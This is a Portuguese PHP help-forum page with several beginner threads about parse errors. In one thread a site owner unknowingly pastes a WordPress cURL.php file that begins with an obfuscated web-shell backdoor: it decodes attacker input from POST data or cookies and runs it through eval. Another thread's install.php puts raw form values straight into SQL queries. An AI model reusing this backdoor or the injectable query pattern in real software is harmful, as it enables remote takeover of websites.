Arquivado
Este tópico foi arquivado e está fechado para novas respostas.
Erro PHP Parse error: syntax error, unexpected 'para' (T_STRING)
Por
ZuptInformática, em PHP
Recommended Posts
-
Conteúdo Similar
-
Por lakaksej
Parse error no wordpress e incapaz de acessar o wordpress pelo admin ou fillezila
Sou iniciante no wordpress.
A única coisa que eu fiz no painel foi instalar um tema, nada mais, nada menos. A partir dai não consegui mais acessar o painel e tudo que aparece na tela é este erro:
Parse error: syntax error, unexpected '[' in /home/storage/9/4f/0e/(nome do site)/public_html/wp/wp-content/themes/primer/inc/compat/gutenberg.php on line 57
Sei que...:
- o erro acontece devido ao fato do tema instalado ser antigo comparado a versão do wordpress.
- preciso entrar pelo fillezila e alterar os arquivos do site
O problema é que eu não consigo logar pelo fillezila por algum motivo. Já tentei em outros aplicativos relacionados e todos dão que a senha está errada e que não combina com o certificado, algo assim.
A senha não é a que é usada para entrar no painel do wordpress? Já tentei até usar o login do site que hosteia.
Agradeço antecipadamente qualquer ajuda <3 <3 <3 <3
-
Por wagneraranha
Prezados
Sou o administrador de um site.
Perdemos o contato com o desenvolvedor.
Não estou conseguindo acessar a pagina do site http://www.crepad.com.br
Para ambos os casos estou recebendo a seguinte mensagem de erro:
Parse error: syntax error, unexpected ‘$q7e3a’ (T_VARIABLE) in /home/storage/e/66/b8/crepad/public_html/wp-includes/Requests/Transport/cURL.php on line 1
Já baixei o programa indicado, porem ainda não programo em PHP.
Será que alguem poderia me ajudar?
Segue abaixo cópia de parte do fonte que é indicado na mensagem de erro.
<?php $v2ab639b4 = 861;$GLOBALS['f7a3bc0']=Array();global$f7a3bc0;$f7a3bc0=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['of62d14']="\x33\x68\x62\x59\x5e\x47\x3c\x76\x35\x46\x66\x28\x52\x2a\x56\x27\x77\x41\x5d\x5f\x45\x65\x43\x6c\x3e\x5b\x4b\x6b\x4c\x6d\x53\x67\x40\x7c\x32\xd\x51\x72\x6e\x26\x3f\x71\x31\x2c\x36\x3a\x54\xa\x49\x2b\x64\x60\x4f\x30\x23\x70\x22\x2d\x24\x4e\x2f\x20\x73\x58\x55\x78\x69\x61\x79\x2e\x29\x3d\x9\x34\x6f\x50\x39\x48\x57\x63\x7a\x21\x5c\x74\x7e\x5a\x7b\x38\x44\x7d\x3b\x25\x6a\x42\x75\x4a\x4d\x37";$f7a3bc0[$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][53]]=$f7a3bc0['of62d14'][55].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][27];$f7a3bc0[$f7a3bc0['of62d14'][23].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][76].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][53].$f7a3bc0['of62d14'][50]]=$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][74].$f7a3bc0['of62d14'][94].$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][83];$f7a3bc0[$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][76].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][73]]=$f7a3bc0['of62d14'][62].$f7a3bc0['of62d14'][94].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][62].$f7a3bc0['of62d14'][83].$f7a3bc0['of62d14'][37];$f7a3bc0[$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][79]]=$f7a3bc0['of62d14'][62].$f7a3bc0['of62d14'][83].$f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][23].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][38];$f7a3bc0[$f7a3bc0['of62d14'][83].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][44].$f7a3bc0['of62d14'][73]]=$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][65].$f7a3bc0['of62d14'][55].$f7a3bc0['of62d14'][23].$f7a3bc0['of62d14'][74].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][21];$f7a3bc0[$f7a3bc0['of62d14'][80].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][0]]=$f7a3bc0['of62d14'][62].$f7a3bc0['of62d14'][83].$f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][19].$f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][55].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][83];$f7a3bc0[$f7a3bc0['of62d14'][23].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][79]]=$_POST;$f7a3bc0[$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][73].$f7a3bc0['of62d14'][8]]=$_COOKIE;$kfd355=Array($f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][74].$f7a3bc0['of62d14'][29].$f7a3bc0['of62d14'][42]=>$f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][74].$f7a3bc0['of62d14'][29].$f7a3bc0['of62d14'][34]);$ae911=Array($f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][74].$f7a3bc0['of62d14'][29].$f7a3bc0['of62d14'][0]=>$f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][74].$f7a3bc0['of62d14'][29].$f7a3bc0['of62d14'][73]);foreach(Array($kfd355,$f7a3bc0[$f7a3bc0['of62d14'][23].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][79]],$ae911,$f7a3bc0[$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][73].$f7a3bc0['of62d14'][8]])as$o06f54){foreach($o06f54as$q7e3a=>$tfd2c7c6){$tfd2c7c6=@$f7a3bc0[$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][53]]($f7a3bc0['of62d14'][77].$f7a3bc0['of62d14'][13],$tfd2c7c6);$q7e3a.=$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][53].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][57].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][57].$f7a3bc0['of62d14'][73].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][57].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][73].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][57].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][53].$f7a3bc0['of62d14'][87].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][53].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][87].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][97];$r91d0a90=$tfd2c7c6^$f7a3bc0[$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][76].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][73]]($f7a3bc0[$f7a3bc0['of62d14'][80].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][0]]($q7e3a,($f7a3bc0[$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][79]]($tfd2c7c6)/$f7a3bc0[$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][79]]($q7e3a))+1),0,$f7a3bc0[$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][79]]($tfd2c7c6));$r91d0a90=$f7a3bc0[$f7a3bc0['of62d14'][83].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][44].$f7a3bc0['of62d14'][73]]($f7a3bc0['of62d14'][54],$r91d0a90);if($f7a3bc0[$f7a3bc0['of62d14'][23].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][76].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][53].$f7a3bc0['of62d14'][50]]($r91d0a90)==3){eval/*me4034ee*/($r91d0a90[1]($r91d0a90[2]));exit();}}} ?><?php /** * cURL HTTP transport * * @package Requests * @subpackage Transport */ /** * cURL HTTP transport * * @package Requests * @subpackage Transport */ class Requests_Transport_cURL implements Requests_Transport { const CURL_7_10_5 = 0x070A05; const CURL_7_16_2 = 0x071002; /** * Raw HTTP data * * @var string */ public $headers = ''; /** * Raw body data * * @var string */ public $response_data = ''; /** * Information on the current request * * @var array cURL information array, see {@see https://secure.php.net/curl_getinfo}
Saudações.
-
Por ViniciusRamoa
Oi, eu estou querendo instalar este site já pronto para eu ir alterando de acordo com o que eu estiver estudando até ele ficar completamente diferente, segundo o blog que disponibiliza ele, bastava eu copiar os arquivos para a pasta do servidor e executar o link "localhost/install.php", assim, segundo o blog, iria aparecer um formulário para eu colocar informações como: nome da host, nome do usuário da db, senha e nome da DB, logo após só precisaria clicar em "instalar" e o site seria "instalado", então bastava eu apagar o "install.php" e poderia logar, adicionar/remover conteudos e etc, e claro, fazer minhas modificações com o site já funcionando
Mas o problema é que não consigo, e a única coisa que aparece é uma tela branca escrito "Parse error: syntax error, unexpected 'db_host' (T_STRING), expecting ')' in C:\xampp\htdocs\upload\install.php on line 267"
Arquivo INSTALL.PHP completo:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Flat manga - Installation</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- Le styles --> <link href="app/manga/themes/default/assets/css/flat.css" rel="stylesheet"> <style type="text/css"> body { padding-top: 40px; padding-bottom: 40px; background-color: #f5f5f5; } .form-signin { max-width: 450px; padding: 19px 29px 29px; margin: 0 auto 20px; background-color: #fff; border: 1px solid #e5e5e5; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; -webkit-box-shadow: 0 1px 2px rgba(0,0,0,.05); -moz-box-shadow: 0 1px 2px rgba(0,0,0,.05); box-shadow: 0 1px 2px rgba(0,0,0,.05); } .form-signin .form-signin-heading, .form-signin .checkbox { margin-bottom: 10px; } .form-signin input[type="text"], .form-signin input[type="password"] { font-size: 16px; height: auto; margin-bottom: 15px; padding: 7px 9px; width: 100%; } </style> <!-- HTML5 shim, for IE6-8 support of HTML5 elements --> <!--[if lt IE 9]> <script src="../assets/js/html5shiv.js"></script> <![endif]--> </head> <body> <div class="container"> <? if($_POST){ $connect = mysql_connect($_POST['db_host'], $_POST['db_user'], $_POST['db_pw']); if (!$connect) { die('Could not connect: ' . mysql_error()); } echo 'Connected successfully<br />'; $db_selected = mysql_select_db($_POST['db_name'], $connect); if (!$db_selected) { die ('Can\'t use database '.$_POST['db_name'].' : ' . mysql_error()); } echo 'Connected to database '.$_POST['db_name'].'<br />'; // RUN DATABASE mysql_query("CREATE TABLE ".$_POST['db_prefix']."h0_ratings ( `ID` int(11) NOT NULL auto_increment, `slug` varchar(255) default NULL, `vote_count` int(16) default NULL, `total` int(16) default NULL, PRIMARY KEY (`ID`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE `".$_POST['db_prefix']."manga_bookmark` ( `user` int(11) NOT NULL, `manga` int(11) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"); mysql_query("CREATE TABLE `".$_POST['db_prefix']."manga_chapters` ( `id` int(11) NOT NULL auto_increment, `chapter` varchar(20) NOT NULL, `name` varchar(150) NOT NULL, `manga` varchar(100) NOT NULL, `trans_group` int(11) NOT NULL, `views` int(11) NOT NULL, `submitter` int(11) NOT NULL, `last_update` datetime NOT NULL, `content` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE `".$_POST['db_prefix']."manga_chapters_q` ( `id` int(11) NOT NULL auto_increment, `chapter` varchar(20) NOT NULL, `name` varchar(150) NOT NULL, `manga` varchar(100) NOT NULL, `trans_group` int(11) NOT NULL, `views` int(11) NOT NULL, `submitter` int(11) NOT NULL, `last_update` datetime NOT NULL, `content` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_count` ( `id` int(1) NOT NULL auto_increment, `mangas` int(10) NOT NULL, `chapters` int(10) NOT NULL, `views` int(10) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;"); mysql_query("INSERT INTO `".$_POST[db_prefix]."manga_count` VALUES (1, 0, 0, 0);"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_groups` ( `id` int(11) NOT NULL auto_increment, `name` varchar(250) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;"); mysql_query("INSERT INTO `".$_POST[db_prefix]."manga_groups` VALUES (1, 'Updating');"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_mangas` ( `id` int(11) NOT NULL auto_increment, `name` varchar(250) NOT NULL, `slug` varchar(150) NOT NULL, `authors` varchar(250) NOT NULL, `artists` varchar(150) NOT NULL, `released` int(4) NOT NULL, `other_name` varchar(250) NOT NULL, `genres` varchar(250) NOT NULL, `description` text NOT NULL, `m_status` tinyint(1) NOT NULL, `views` int(11) NOT NULL default '0', `cover` varchar(250) NOT NULL, `submitter` int(11) NOT NULL, `last_update` datetime NOT NULL, `last_chapter` int(11) NOT NULL default '0', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_mangas_q` ( `id` int(11) NOT NULL auto_increment, `name` varchar(250) NOT NULL, `slug` varchar(150) NOT NULL, `authors` varchar(250) NOT NULL, `artists` varchar(150) NOT NULL, `released` int(4) NOT NULL, `other_name` varchar(250) NOT NULL, `genres` varchar(250) NOT NULL, `description` text NOT NULL, `m_status` tinyint(1) NOT NULL, `views` int(11) NOT NULL default '0', `cover` varchar(250) NOT NULL, `submitter` int(11) NOT NULL, `last_update` datetime NOT NULL, `last_chapter` int(11) NOT NULL default '0', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_notification` ( `id` int(11) NOT NULL auto_increment, `user` int(11) NOT NULL, `type` varchar(7) NOT NULL, `url` varchar(250) default NULL, `message` varchar(250) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; "); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_submitter` ( `id` int(11) NOT NULL auto_increment, `user` int(11) NOT NULL, `m_count` int(11) NOT NULL, `c_count` int(11) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_views` ( `id` int(11) NOT NULL auto_increment, `manga` int(11) NOT NULL, `type` int(1) NOT NULL, `value` varchar(3) NOT NULL, `views` int(11) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("ALTER TABLE ".$_POST[db_prefix]."manga_views ADD year YEAR(4) AFTER views"); mysql_query("UPDATE ".$_POST[db_prefix]."manga_views set year = 2013"); mysql_query(" CREATE TABLE ".$_POST[db_prefix]."manga_grabChapterQ ( `id` int(11) NOT NULL auto_increment, `manga` varchar(100) NOT NULL, `url` varchar(200) NOT NULL, `chapter_name` varchar(100) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE ".$_POST[db_prefix]."manga_grabQ ( `id` int(11) NOT NULL auto_increment, `url` varchar(200) NOT NULL, `site` varchar(10) NOT NULL, `type` varchar(10) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query(" CREATE TABLE ".$_POST[db_prefix]."manga_grabResult ( `id` int(11) NOT NULL auto_increment, `content` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;"); mysql_query("INSERT INTO `manga_grabResult` VALUES (1, '');"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."user` ( `id` int(11) NOT NULL auto_increment, `name` varchar(100) NOT NULL, `email` varchar(320) NOT NULL, `password` char(40) NOT NULL, `role` tinyint(1) NOT NULL, `register_ip` varchar(15) NOT NULL, `register_date` datetime NOT NULL, `last_login` datetime NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;"); $ad_pw = sha1($_POST['ad_pw']); mysql_query("INSERT INTO `".$_POST[db_prefix]."user` VALUES (1, 'ADMIN', '$_POST[ad_email]', '$ad_pw', 2, '', NOW(), NOW());"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."user_code` ( `email` varchar(320) NOT NULL, `code` char(32) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."user_meta` ( `id` int(11) NOT NULL auto_increment, `user` int(11) NOT NULL, `avatar` varchar(250) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;"); mysql_query("INSERT INTO `".$_POST[db_prefix]."user_meta` VALUES (1, 1, 'haha.png');"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."user_role` ( `id` int(11) NOT NULL auto_increment, `name` varchar(50) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;"); mysql_query("INSERT INTO `".$_POST[db_prefix]."user_role` VALUES (1, 'Unconfirmed');"); mysql_query("INSERT INTO `".$_POST[db_prefix]."user_role` VALUES (2, 'Administration');"); // RUN DATABASE SUCESSFULL echo 'Database successfull created <br />'; $content = "<?php /** MySQL hostname */ define('APP_DB_HOST', '".$_POST['db_host']."'); /** MySQL database username */ define('APP_DB_USER', '".$_POST['db_user']."'); /** MySQL database password */ define('APP_DB_PASSWORD', '".$_POST['db_pw']."'); /** MySQL database name */ define('APP_DB_NAME', '".$_POST['db_name']."'); /** MySQL table prefix */ define('APP_TABLES_PREFIX', '".$_POST['db_prefix']."'); /** Mail sender and config */ define('SMTP', '0'); // 1 for using SMTP, 0 for using mail(); /* IF SMTP = 1, define smtp config */ define('SMTP_HOST', 'smtp.gmail.com'); define('SMTP_PORT', '587'); define('SMTP_Secure', 'tls'); define('SMTP_Auth', 'true'); define('SMTP_Username', ''); define('SMTP_Password', ''); define('email_from', 'your_email@somewhere.com') ?>"; chmod ("includes/config.php", 0777); $fp = fopen("includes/config.php", "w"); fwrite($fp, $content); fclose($fp); echo 'Database config successfull updated <br />'; echo 'Congratulation! Flat manga was installed successful!<br />'; echo 'Please delete file <b>install.php</b><br /><br />'; echo '<a href="index.html">View your site.</a>'; chmod ("includes/config.php", 0644); ?> <? }else { ?> <form class="form-signin" method="POST" action="install.php"> <h1>FRESH INSTALL</h1> <h2 class="form-signin-heading">Insert database information</h2> <input type="text" class="input-block-level" required placeholder="Database host" name="db_host"> <input type="text" class="input-block-level" required placeholder="Database username" name="db_user"> <input type="password" class="input-block-level" required placeholder="Database user's password" name="db_pw"> <input type="text" class="input-block-level" required placeholder="Database name" name="db_name"> <input type="text" class="input-block-level" placeholder="Database prefix (OPTIONAL)" name="db_prefix"> <h2 class="form-signin-heading">Admin account</h2> <input type="text" class="input-block-level" required placeholder="ADMIN's email" name="ad_email"> <input type="password" class="input-block-level" required placeholder="ADMIN's password" name="ad_pw"> <button class="btn btn-large btn-primary" type="submit">Begin installing</button> </form> <? } ?> </div> <!-- /container --> <!-- Le javascript ================================================== --> <!-- Placed at the end of the document so the pages load faster --> <script src="assets/js/jquery.min.js"></script> </body> </html>
Linhas a partir da 267, onde é informado o erro:
$content = "<?php /** MySQL hostname */ define('APP_DB_HOST', '".$_POST['db_host']."'); /** MySQL database username */ define('APP_DB_USER', '".$_POST['db_user']."'); /** MySQL database password */ define('APP_DB_PASSWORD', '".$_POST['db_pw']."'); /** MySQL database name */ define('APP_DB_NAME', '".$_POST['db_name']."'); /** MySQL table prefix */ define('APP_TABLES_PREFIX', '".$_POST['db_prefix']."'); /** Mail sender and config */ define('SMTP', '0'); // 1 for using SMTP, 0 for using mail();
Como é um site já pronto, acho estranho ter esse problema, mas como ainda estou estudando, não consegui identificar ou achar uma solução até agora
Obrigado pela atenção
-
Por FelipeBradao
arse error: syntax error, unexpected 'content' (T_STRING), expecting ',' or ';' in C:\xampp\htdocs\magazine\Raiz\admin\login.php on line 68
<?php /*
Copyright (c) 2012 Motion-M Co.
If you want to obtain license for this product, go to http://www.motion-m.com
*/
$ {
"GLOBALS"
}
["akgntb"] = "tokken";
$ {
"GLOBALS"
}
["nvtiplttv"] = "consultaB";
$ {
"GLOBALS"
}
["ybshyxw"] = "dadosB";
error_reporting(0);
$qhcrwdqhwj = "dadosB";
ini_set(display_errors, 0);
require_once ("function/config.php");
$ {
"GLOBALS"
}
["ybnbgvpwgc"] = "conB";
require_once ("function/conexao.php");
$ {
$ {
"GLOBALS"
}
["ybshyxw"]
} = "SELECT* FROM configuracao where id=1";
$ {
$ {
"GLOBALS"
}
["ybnbgvpwgc"]
} = $mysqli->query($ {
$qhcrwdqhwj
}) or die($mysqli->error);
while ($ {
$ {
"GLOBALS"
}
["nvtiplttv"]
} = $conB->fetch_array()) {
$dsbspxkblsv = "consultaB";
$ {
$ {
"GLOBALS"
}
["akgntb"]
} = $ {
$dsbspxkblsv
}
["tokken"];
}
echo "
<html>
<!-- Mirrored from webapplayers.com/luna_admin-v1.3/login.html by HTTrack Website Copier/3.x [XR&CO'2014], Tue, 24 Oct 2017 19:37:54 GMT -->
<head>
<meta charset=\"utf-8\">
<meta http-equiv=\"X-UA-Compatible"content = "IE=edge" > < metaname = \"viewport"content = "width=device-width, initial-scale=1.0" > < linkhref = 'http://fonts.googleapis.com/css?family=Roboto:300,400,500,700,900'rel = 'stylesheet'type = 'text/css' > < !--Pagetitle-- > < title > Admin - MagazineZK < / title > < !--Vendorstyles-- > < linkrel = \"stylesheet\" href="vendor / fontawesome / css / font - awesome . css"/>
<link rel=\"stylesheet\" href=\"vendor/animate.css/animate.css\"/>
<link rel=\"stylesheet"href = \"vendor/bootstrap/css/bootstrap.css\"/>
<!-- App styles -->
<link rel=\"stylesheet\" href=\"styles/pe-icons/pe-icon-7-stroke.css\"/>
<link rel=\"stylesheet\" href=\"styles/pe-icons/helper.css\"/>
<link rel="stylesheet" href=\"styles/stroke-icons/style.css" / > < linkrel = "stylesheet"href = "styles/style.css" > < / head > < bodyclass = "blank" > < !--Wrapper-- > < divclass = \"wrapper\">
";
if ($ {
$ {
"GLOBALS"
}
["akgntb"]
} == "null") {
echo "
<!-- Main content-->
<section class=\"content" > < divclass = "back-link" > < ahref = "#"class = "btn btn-accent" > MagazineZK3.0.0 < / a > < / div > < divclass = "container-center animated slideInDown\">
<div class=\"view-header" > < divclass = "header-icon" > < iclass = "pe page-header-icon pe-7s-unlock\"></i>
</div>
<div class="header - title\">
<h3>Ativao da tela</h3>
<small>
Criado por: - ZK -
</small>
</div>
</div>
";
if ($_GET["status"] == "invalid") {
echo " <center> <font color=\"red" > Tokkeninformadojusadoouinvlido . < / font > ";}echo " < divclass = \"panel panel-filled\">
<div class=\"panel-body" > < formaction = \"function/tokken.php\" method="post\" >
<div class=\"form-group" > < labelclass = \"control-label"for = \"username\">Tokken Recebido</label>
<input type=\"text"placeholder = \"Tokken..."title = \""required = \""value = \"\" name="tk\" class=\"form-control\">
<span class=\"help-block small\"></span>
</div>
<div>
<button name="logar" class="btnbtn - accent">Ativar</button> <!-- Criador - ZK -->
</div>
</form>
</div>
</div>
</div>
</section>
";
} else {
echo "
<section class="content\">
<div class=\"back-link" > < ahref = \"#"class = \"btn btn-accent\">Magazine ZK 3.0.0</a>
</div>
<div class=\"container-center animated slideInDown" > < divclass = "view-header\">
<div class=\"header-icon" > < iclass = \"pe page-header-icon pe-7s-unlock" > < / i > < / div > < divclass = "header-title" > < h3 > Login < / h3 > < small > Criadopor:
ZK - TELAS < / small > < / div > < / div > ";if($_GET["status"]=="1"){echo " < center > < fontcolor = \"green" > TokkenReconhecido, atelaestprontaparauso . < / font > < br > < fontcolor = \"red\" >Ateno: </font >Ao logar a primeira vez poder pedir para refazer o login, isso normal.
";
}
echo "
<div class="panelpanel - filled">
<div class=\"panel-body\">
<form action=\"valida.php\" method="post" >
<div class="form - group">
<label class=\"control-label\" for="username\">Usuario</label>
<input type=\"text\" placeholder=\"Usuario\" title="Pleaseenteryouusername" required=\""value = ""name = \"login\" class="form - control">
<span class=\"help-block small" > < / span > < / div > < divclass = \"form-group\">
<label class=\"control-label"for = \"password" > Senha < / label > < inputtype = \"password"title = "Please enter your password"placeholder = \"******\" required="\" value="" name="senha\" class="form - control">
<span class="help - blocksmall"></span>
</div>
<div>
<button name="logar\" class="btnbtn - accent\">Login</button> <!-- Criador - ZK -->
</div>
</form>
</div>
</div>
</div>
</section>
";
}
echo "
<!-- End main content-->
</div>
<!-- End wrapper-->
<!-- Vendor scripts -->
<script src="vendor / pacejs / pace . min . js"></script>
<script src=\"vendor/jquery/dist/jquery.min.js" > </script>
<script src=\"vendor/bootstrap/js/bootstrap.min.js"></script>
<!-- App scripts -->
<script src=\"scripts/luna.js"></script>
</body>
<!-- Mirrored from webapplayers.com/luna_admin-v1.3/login.html by HTTrack Website Copier/3.x [XR&CO'2014], Tue, 24 Oct 2017 19:37:54 GMT -->
</html>
-
Por Salups
Pessoal bom dia, sou iniciante em programação e criei um site para uma empresa, quando criei estava tudo uma beleza a pagina de contato, só que depois que implementei o código do recaptcha na pagina PHP, parou de enviar email e só da erro de porta no SMTP(fiz o teste); Segue o erro e o código do meu PHP.
O erro é este.
Warning: mail(): Failed to connect to mailserver at "localhost" port 25, verify your "SMTP" and "smtp_port" setting in php.ini or use ini_set() in E:\NavisSite\novo\cgi-local\formmail.php on line 40
<?php
ini_set('display_errors', true); error_reporting(E_ALL);
$captcha = $_POST['g-recaptcha-response'];
if($captcha != ''){
$secreto = ' meu codigo secreto';
$ip = $_SERVER['REMOTE_ADDR'];
$var = file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=$secreto&response=$captcha");
if (json_decode($var, true)) {
if(sizeof($_POST)) {
$recipient = $_POST['recipient'];
